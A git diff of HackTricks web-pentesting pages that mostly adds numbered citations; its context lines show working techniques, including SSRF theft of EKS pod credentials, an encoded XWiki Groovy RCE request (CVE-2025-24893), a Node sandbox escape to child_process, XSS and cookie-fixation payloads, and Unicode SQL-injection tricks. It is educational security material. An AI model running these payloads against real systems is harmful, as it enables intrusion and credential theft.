a/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -118,7 +118,7 @@ Recent EKS clusters can use **Pod Identity** instead of the older ECS-style rela - `AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials` - `AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token` -Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file: +Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:[[1]](#references) ```bash # Common discovery primitives @@ -1029,7 +1029,7 @@ The necessity for a header is not mentioned here either. Metadata is accessible ## Oracle Cloud -Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples. In IMDSv2: +Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples.[[2]](#references) In IMDSv2: - Requests go to `http://169.254.169.254/opc/v2/` - Requests must include the header `Authorization: Bearer Oracle` @@ -1083,7 +1083,7 @@ Rancher's metadata can be accessed using: ## References -- [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html) -- [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm) +- [1] [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html) +- [2] [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index ee6432c6229..4975b724040 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -22,11 +22,11 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server. -To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability. +To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.[[4]](#references) ### Detection -To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include: +To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:[[4]](#references) - Thrown errors, revealing the vulnerability and potentially the template engine. - Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data. @@ -35,7 +35,7 @@ To detect Server-Side Template Injection (SSTI), initially, **fuzzing the templa #### Identification Phase -Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine. +Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.[[4]](#references) #### Identification by payloads @@ -464,7 +464,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 #### XWiki SolrSearch Groovy RCE (CVE-2025-24893) -XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. The handler takes the `text` query parameter, wraps it in wiki syntax and evaluates macros, so injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM. +XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renders unauthenticated RSS search feeds through the `Main.SolrSearch` macro. The handler takes the `text` query parameter, wraps it in wiki syntax and evaluates macros, so injecting `}}}` followed by `{{groovy}}` executes arbitrary Groovy in the JVM.[[5]](#references)[[6]](#references) 1. **Fingerprint & scope** – When XWiki is reverse-proxied behind host-based routing, fuzz the `Host` header (`ffuf -u http:// -H "Host: FUZZ.target" ...`) to discover the wiki vhost, then browse `/xwiki/bin/view/Main/` and read the footer (`XWiki Debian 15.10.8`) to pin the vulnerable build. 2. **Trigger SSTI** – Request `/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. The RSS item `` will contain the Groovy output. Always “URL-encode all characters” so spaces stay as `%20`; replacing them with `+` makes XWiki throw HTTP 500. @@ -826,7 +826,7 @@ home = pugjs.render(injected_page) ### NodeJS expression sandboxes (vm2 / isolated-vm) -Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`. That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled: +Some workflow builders evaluate user-controlled expressions inside Node sandboxes (`vm2`, `isolated-vm`), yet the expression context still exposes `this.process.mainModule.require`. That lets an attacker load `child_process` and execute OS commands even when dedicated “Execute Command” nodes are disabled:<sup>[[1]](#references)</sup> ```javascript ={{ (function() { @@ -1131,7 +1131,7 @@ LESS is a popular CSS pre-processor that adds variables, mixins, functions and t ### More Exploits -Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)<sup>[[3]](#references)</sup> ## BlackHat PDF @@ -1162,11 +1162,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt ## References -- [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858) -- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) -- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) -- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection) -- [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html) -- [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j) +- [1] [Node expression sandbox escape via `process.mainModule.require` (n8n PoC)](https://github.com/Chocapikk/CVE-2026-21858) +- [2] [PortSwigger Web Security Academy - Exploiting server-side template injection vulnerabilities](https://portswigger.net/web-security/server-side-template-injection/exploiting) +- [3] [DiogoMRSilva - websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +- [4] [PortSwigger Web Security Academy - Server-side template injection](https://portswigger.net/web-security/server-side-template-injection) +- [5] [0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)](https://0xdf.gitlab.io/2025/12/06/htb-editor.html) +- [6] [XWiki advisory – `SolrSearch` RSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md index d963ba4fe5a..36a037c3b2c 100644 --- a/src/pentesting-web/timing-attacks.md +++ b/src/pentesting-web/timing-attacks.md @@ -3,19 +3,19 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work) +> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)<sup>[[1]](#references)</sup> ## Basic Information The goal of a timing attack is to answer difficult questions or discover hidden functionality by **measuring consistent response-time differences between almost identical requests**. -Traditionally this was very hard because the interesting server-side signal was drowned in network jitter and server noise. However, after the [**single-packet / synchronized-request techniques**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it became practical to remove most transport noise from the equation and isolate tiny **server-side timing deltas**. +Traditionally this was very hard because the interesting server-side signal was drowned in network jitter and server noise. However, after the [**single-packet / synchronized-request techniques**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it became practical to remove most transport noise from the equation and isolate tiny **server-side timing deltas**.<sup>[[1]](#references)</sup> This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search.md). ## Making Timing Attacks Practical -A modern workflow is usually: +A modern workflow is usually:<sup>[[1]](#references)</sup> 1. Build two requests that differ in **exactly one hypothesis** (header present/absent, valid/invalid hostname, duplicated parameter, valid/invalid structured payload, etc.). 2. Send both requests with the **same connection and the same release point** so the network path is shared. @@ -35,7 +35,7 @@ Useful notes: Timing is excellent for discovering **hidden parameters, headers, cookies, or routes** even when the visible response looks identical. -In the PortSwigger research, simply adding the right hidden input changed the timing by about **5ms**, which was enough to identify functionality that was otherwise invisible. This is now a natural fit for **Param Miner**. +In the PortSwigger research, simply adding the right hidden input changed the timing by about **5ms**, which was enough to identify functionality that was otherwise invisible. This is now a natural fit for **Param Miner**.<sup>[[1]](#references)</sup> These time differences may appear because: @@ -49,7 +49,7 @@ Something you need to remember when performing these attacks is that the surface ### Server-Side Injection Oracles -Timing is also useful for vulnerabilities where the application **parses attacker-controlled data server-side**, but the error or output is redacted. +Timing is also useful for vulnerabilities where the application **parses attacker-controlled data server-side**, but the error or output is redacted.<sup>[[1]](#references)</sup> - **Blind JSON injection**: if a payload that becomes valid/invalid JSON changes the response time, something downstream is probably parsing it even if the error message is masked. - **Blind server-side parameter pollution**: payloads using duplicated parameters, `%26`, `%23`, or delimiter confusion may alter an internal request. Even if the downstream response is hidden, the extra parsing / error-handling work can still leak via timing. @@ -63,7 +63,7 @@ parameter-pollution.md ### Reverse Proxy Misconfigurations -Timing is especially powerful for finding **scoped SSRFs** and other reverse-proxy mistakes where the application behaves the same externally, but the backend does extra work only for allowed destinations. +Timing is especially powerful for finding **scoped SSRFs** and other reverse-proxy mistakes where the application behaves the same externally, but the backend does extra work only for allowed destinations.<sup>[[1]](#references)</sup> Just checking the time difference when an **allowed domain** is used versus when a **disallowed domain** is used can reveal that you found an open proxy even if the HTTP response looks identical. @@ -88,11 +88,11 @@ Once you find that kind of proxy behaviour, combine it with the methodology from - **Param Miner**: good for timing-based discovery of hidden parameters/headers and for proxy-oriented timing checks. - **Turbo Intruder**: the timing templates alternate request order, repeat paired probes many times, and let you use cache-busting payloads such as `$randomplz` when needed. - **Burp Repeater - Send group in parallel**: great for quick proof-of-concept testing when you already know the two branches you want to compare. -- **PacketSprinter**: useful when you want a UI around grouped parallel HTTP/2 requests and an easier way to compare synchronized responses side by side. +- **PacketSprinter**: useful when you want a UI around grouped parallel HTTP/2 requests and an easier way to compare synchronized responses side by side.<sup>[[2]](#references)</sup> ## References -- [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work) -- [https://github.com/richeeta/PacketSprinter](https://github.com/richeeta/PacketSprinter) +- [1] [Listen to the whispers: web timing attacks that actually work - PortSwigger Research](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work) +- [2] [PacketSprinter - GitHub repository](https://github.com/richeeta/PacketSprinter) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md index 08e8433da0c..7ea218515f7 100644 --- a/src/pentesting-web/unicode-injection/README.md +++ b/src/pentesting-web/unicode-injection/README.md @@ -24,7 +24,7 @@ unicode-normalization.md ## SQL Server Best Fit / implicit conversion -Microsoft SQL Server adds another dangerous post-validation transform: **implicit conversion from Unicode strings to narrow non-UTF code pages** (`char`, `varchar`, `text`, or non-Unicode string literals). Instead of rejecting unsupported characters, SQL Server can silently apply **Windows Best Fit mapping** and mutate Unicode lookalikes into ASCII metacharacters. +Microsoft SQL Server adds another dangerous post-validation transform: **implicit conversion from Unicode strings to narrow non-UTF code pages** (`char`, `varchar`, `text`, or non-Unicode string literals). Instead of rejecting unsupported characters, SQL Server can silently apply **Windows Best Fit mapping** and mutate Unicode lookalikes into ASCII metacharacters.<sup>[[1]](#references)[[2]](#references)</sup> ### Dangerous conditions @@ -154,13 +154,13 @@ Don't assume usernames, API keys, role names, object IDs, or allow/deny-list che Unicode characters are usually represented with the **`\u` prefix**. For example the char `㱋` is `\u3c4b` ([check it here](https://unicode-explorer.com/c/3c4B)). If a backend **transforms** the prefix **`\u` into `%`**, the resulting string will be `%3c4b`, which URL decoded is **`<4b`**. As you can see, a **`<` char is injected**. -You could use this technique to **inject any kind of char** if the backend is vulnerable. Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need. +You could use this technique to **inject any kind of char** if the backend is vulnerable. Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.<sup>[[3]](#references)</sup> -This vuln actually comes from a vulnerability a researcher found. For a more in-depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg) +This vuln actually comes from a vulnerability a researcher found. For a more in-depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)<sup>[[4]](#references)</sup> ## Emoji injection -Back-ends sometimes behave weirdly when they **receive emojis**. That's what happened in [this writeup](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve XSS with a payload such as `img src=x onerror=alert(document.domain)//`. +Back-ends sometimes behave weirdly when they **receive emojis**. That's what happened in [this writeup](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve XSS with a payload such as `img src=x onerror=alert(document.domain)//`.<sup>[[5]](#references)</sup> In that case, the server removed malicious characters and then **converted the UTF-8 string from Windows-1252 to UTF-8** (input/convert encoding mismatch). This did not immediately generate a proper `<`, just a weird Unicode quote-like character: `‹`. @@ -180,8 +180,10 @@ echo iconv('UTF-8', 'ASCII//TRANSLIT', mb_convert_encoding($a, 'UTF-8', 'Windows ## References -- [Synacktiv - The SQL Server Unicode problem: why your data might not be what you think it is?](https://synacktiv.com/en/publications/the-sql-server-unicode-problem-why-your-data-might-not-be-what-you-think-it-is.html) -- [HackTricks - Unicode normalization](unicode-normalization.md) -- [Unicode Explorer](https://unicode-explorer.com/) -- [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/) +- [1] [Synacktiv - The SQL Server Unicode problem: why your data might not be what you think it is?](https://synacktiv.com/en/publications/the-sql-server-unicode-problem-why-your-data-might-not-be-what-you-think-it-is.html) +- [2] [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/) +- [3] [Unicode Explorer](https://unicode-explorer.com/) +- [4] [Abusing unicode characters to PWN Intigriti XSS challenge](https://www.youtube.com/watch?v=aUsAHb0E7Cg) +- [5] [How I found an XSS vulnerability via using emojis](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 343b8c4427b..deb0a584ec7 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check it for further details (images taken from there). +**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check it for further details (images taken from there).<sup>[[1]](#references)</sup> ## Understanding Unicode and Normalization @@ -56,7 +56,7 @@ for c in ["\u212A", "\uFF07", "\uFF02", "\uFF0F", "\uFE64", "\uFE65", "\u00AD"]: Imagine a web page that is using the character `'` to create SQL queries with the user input. This web, as a security measure, **deletes** all occurrences of the character **`'`** from the user input, but **after that deletion** and **before the creation** of the query, it **normalises** using **Unicode** the input of the user. -Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears: +Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears:<sup>[[1]](#references)</sup> ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -97,7 +97,7 @@ https://github.com/carlospolop/sqlmap_to_unicode_template ### XSS (Cross Site Scripting) -You could use one of the following characters to trick the webapp and exploit a XSS: +You could use one of the following characters to trick the webapp and exploit a XSS:<sup>[[1]](#references)</sup> ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) @@ -113,7 +113,7 @@ A very common real-world pattern is **not** direct SQLi/XSS but **cross-endpoint 2. **Login / password reset / admin search / SSO callback** canonicalizes with NFC/NFKC, `casefold()`, IDNA or a custom transliteration library 3. The uniqueness check, lookup or session binding hits the **wrong account** -When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions. +When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.<sup>[[2]](#references)</sup> ### Fuzzing Regexes @@ -130,7 +130,7 @@ recollapse -m 3,6,7 -e 1 'https://legit.example.com' echo '<svg/onload=alert(1)>' | recollapse | ffuf -w - -u 'https://target/?q=FUZZ' -mc all ``` -For more info check the [**github repo**](https://github.com/0xacb/recollapse) and this [**post**](https://0xacb.com/2022/11/21/recollapse/). +For more info check the [**github repo**](https://github.com/0xacb/recollapse) and this [**post**](https://0xacb.com/2022/11/21/recollapse/).<sup>[[3]](#references)</sup> ### Cookie / prefix confusion with Unicode whitespace @@ -141,11 +141,11 @@ document.cookie = `${String.fromCodePoint(0x2000)}__Host-session=fixated; Domain document.cookie = `${String.fromCodePoint(0x00A0)}__Secure-session=fixated; Domain=.example.com; Path=/; Secure`; ``` -This is highly implementation-dependent, but recent research showed that some server-side frameworks trim a surprisingly wide range of Unicode whitespace while browsers do not all enforce prefix rules the same way. Treat this as a **parser discrepancy / canonicalization** test whenever cookies are security-critical. +This is highly implementation-dependent, but recent research showed that some server-side frameworks trim a surprisingly wide range of Unicode whitespace while browsers do not all enforce prefix rules the same way. Treat this as a **parser discrepancy / canonicalization** test whenever cookies are security-critical.<sup>[[4]](#references)</sup> ### Best-Fit / WorstFit translations on Windows -This is **not** standard Unicode normalization, but the exploitation pattern is identical: a security control sees a **safe Unicode character**, and a later Unicode-to-ANSI conversion turns it into dangerous ASCII. On Windows, `U+00AD` (**soft hyphen**) can become `-` on code pages such as **932 / 936 / 950**, which recently led to practical **argument injection** and can also affect **path traversal**, **argument splitting**, and **environment-variable confusion** when ANSI APIs are reached later. +This is **not** standard Unicode normalization, but the exploitation pattern is identical: a security control sees a **safe Unicode character**, and a later Unicode-to-ANSI conversion turns it into dangerous ASCII. On Windows, `U+00AD` (**soft hyphen**) can become `-` on code pages such as **932 / 936 / 950**, which recently led to practical **argument injection** and can also affect **path traversal**, **argument splitting**, and **environment-variable confusion** when ANSI APIs are reached later.<sup>[[5]](#references)</sup> Practical probes: @@ -155,7 +155,7 @@ Practical probes: ## Unicode Overflow -From this [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), the maximum value of a byte is 255, if the server is vulnerable, an overflow can be crafted to produce a specific and unexpected ASCII character. For example, the following characters will be converted to `A`: +From this [blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), the maximum value of a byte is 255, if the server is vulnerable, an overflow can be crafted to produce a specific and unexpected ASCII character. For example, the following characters will be converted to `A`:<sup>[[6]](#references)</sup> - 0x4e41 - 0x4f41 @@ -168,15 +168,15 @@ This is especially interesting when a sink stores a Unicode value in a **single String.fromCharCode(0x10000 + 0x31, 0x10000 + 0x33, 0x10000 + 0x33, 0x10000 + 0x37) // 1337 ``` -PortSwigger also added checks/helpers for this class in **ActiveScan++**, **Hackvertor**, and the **Shazzer** Unicode table, so it is worth automating whenever you find brittle ASCII blocklists. +PortSwigger also added checks/helpers for this class in **ActiveScan++**, **Hackvertor**, and the **Shazzer** Unicode table, so it is worth automating whenever you find brittle ASCII blocklists.<sup>[[6]](#references)</sup> ## References -- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) -- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) -- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) -- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) -- [https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) -- [https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/) +- [1] [AppCheck - Unicode Normalization Vulnerabilities: The Special-K Polyglot](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/) +- [2] [Spotify Engineering - Creative usernames](https://engineering.atspotify.com/2013/06/18/creative-usernames/) +- [3] [recollapse - regex fuzzing for normalization discrepancies](https://0xacb.com/2022/11/21/recollapse/) +- [4] [PortSwigger Research - Cookie Chaos: how to bypass Host and Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes) +- [5] [Orange Tsai / DEVCORE - WorstFit: Unveiling Hidden Transformers in Windows ANSI!](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/) +- [6] [PortSwigger Research - Bypassing character blocklists with Unicode overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/uuid-insecurities.md b/src/pentesting-web/uuid-insecurities.md index c0a863d1e35..325e3fabddd 100644 --- a/src/pentesting-web/uuid-insecurities.md +++ b/src/pentesting-web/uuid-insecurities.md @@ -4,7 +4,7 @@ ## Basic Information -Universally Unique Identifiers (UUIDs) are **128-bit numbers used to uniquely identify information** in computer systems. UUIDs are essential in applications where unique identifiers are necessary without central coordination. They are commonly used as database keys and can refer to various elements like documents and sessions. +Universally Unique Identifiers (UUIDs) are **128-bit numbers used to uniquely identify information** in computer systems. UUIDs are essential in applications where unique identifiers are necessary without central coordination. They are commonly used as database keys and can refer to various elements like documents and sessions.<sup>[[1]](#references)</sup> UUIDs are designed to be unique and **hard to guess**. They are structured in a specific format, divided into five groups represented as 32 hexadecimal digits. There are different versions of UUIDs, each serving different purposes: @@ -23,7 +23,7 @@ UUIDs are designed to be unique and **hard to guess**. They are structured in a ## Sandwich attack -The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time. +The "Sandwich Attack" is a specific type of attack that **exploits the predictability of UUID v1 generation in web applications**, particularly in features like password resets. UUID v1 is generated based on time, clock sequence, and the node's MAC address, which can make it somewhat predictable if an attacker can obtain some of these UUIDs generated close in time.<sup>[[1]](#references)</sup> ### Example @@ -60,9 +60,6 @@ Imagine a web application that uses UUID v1 for generating password reset links. ## References -- [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/) +- [1] [VerSprite - Universally Unique Identifiers](https://versprite.com/blog/universally-unique-identifiers/) {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/web-tool-wfuzz.md b/src/pentesting-web/web-tool-wfuzz.md index 0010e8f6165..bf7eb82cbe5 100644 --- a/src/pentesting-web/web-tool-wfuzz.md +++ b/src/pentesting-web/web-tool-wfuzz.md @@ -19,7 +19,7 @@ pip install -U wfuzz Github: [https://github.com/xmendez/wfuzz](https://github.com/xmendez/wfuzz) -> If `pip install wfuzz` breaks in recent Python environments, upgrade to the latest upstream release first (`pip install -U wfuzz`). +> If `pip install wfuzz` breaks in recent Python environments, upgrade to the latest upstream release first (`pip install -U wfuzz`).<sup>[[1]](#references)</sup> ## Filtering options @@ -85,7 +85,7 @@ wfuzz -e encoders # Prints the available encoders # Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode ``` -In order to use an encoder, you have to indicate it in the **`-w`** or **`-z`** option. +In order to use an encoder, you have to indicate it in the **`-w`** or **`-z`** option.<sup>[[2]](#references)</sup> Examples: @@ -259,7 +259,7 @@ wfuzz --recipe /tmp/wfuzz.recipe -b 'session=abc123' ## References -- [https://github.com/xmendez/wfuzz/releases](https://github.com/xmendez/wfuzz/releases) -- [https://wfuzz.readthedocs.io/en/latest/user/advanced.html](https://wfuzz.readthedocs.io/en/latest/user/advanced.html) +- [1] [Wfuzz - Releases](https://github.com/xmendez/wfuzz/releases) +- [2] [Wfuzz documentation - Advanced usage](https://wfuzz.readthedocs.io/en/latest/user/advanced.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md index 64888addada..d15d345e2e8 100644 --- a/src/pentesting-web/web-vulnerabilities-methodology.md +++ b/src/pentesting-web/web-vulnerabilities-methodology.md @@ -62,7 +62,7 @@ pocs-and-polygloths-cheatsheet/ When a reflection bug lands in a **modern SPA**, spend a few extra minutes on the browser-managed primitives and native bridges the page already owns: -- **Service workers**: inspect the active registration path, effective scope, and any `Service-Worker-Allowed` broadening. A low-impact HTML injection or DOM clobbering bug can become **origin-wide persistence** if the page registers a worker or feeds attacker-controlled values into `importScripts()`. +- **Service workers**: inspect the active registration path, effective scope, and any `Service-Worker-Allowed` broadening. A low-impact HTML injection or DOM clobbering bug can become **origin-wide persistence** if the page registers a worker or feeds attacker-controlled values into `importScripts()`.<sup>[[3]](#references)</sup> - **WASM / Emscripten modules**: fuzz length, offset, and type conversions crossing the **JS ↔ WASM** boundary. In practice, a memory bug in linear memory may let you overwrite **trusted HTML templates or state objects** and upgrade a constrained client-side bug into DOM XSS. - **Generated clients**: minified bundles frequently disclose GraphQL persisted-query hashes, gRPC-Web method paths, `postMessage` handlers, WebSocket event names, and hidden admin routes even when the UI never exposes them. @@ -70,21 +70,21 @@ For deeper exploitation ideas, check [Abusing Service Workers](xss-cross-site-sc #### File System Access API: browser-native file read/write abuse -Chromium-family browsers expose **`showOpenFilePicker()`**, **`showSaveFilePicker()`**, and **`showDirectoryPicker()`** to trusted pages in a **secure context** and after a **user gesture**. If a target web app, phishing lure, or malicious dependency can convince the user to approve a directory with **readwrite** access, the page can operate on the selected files **without dropping a native payload**. 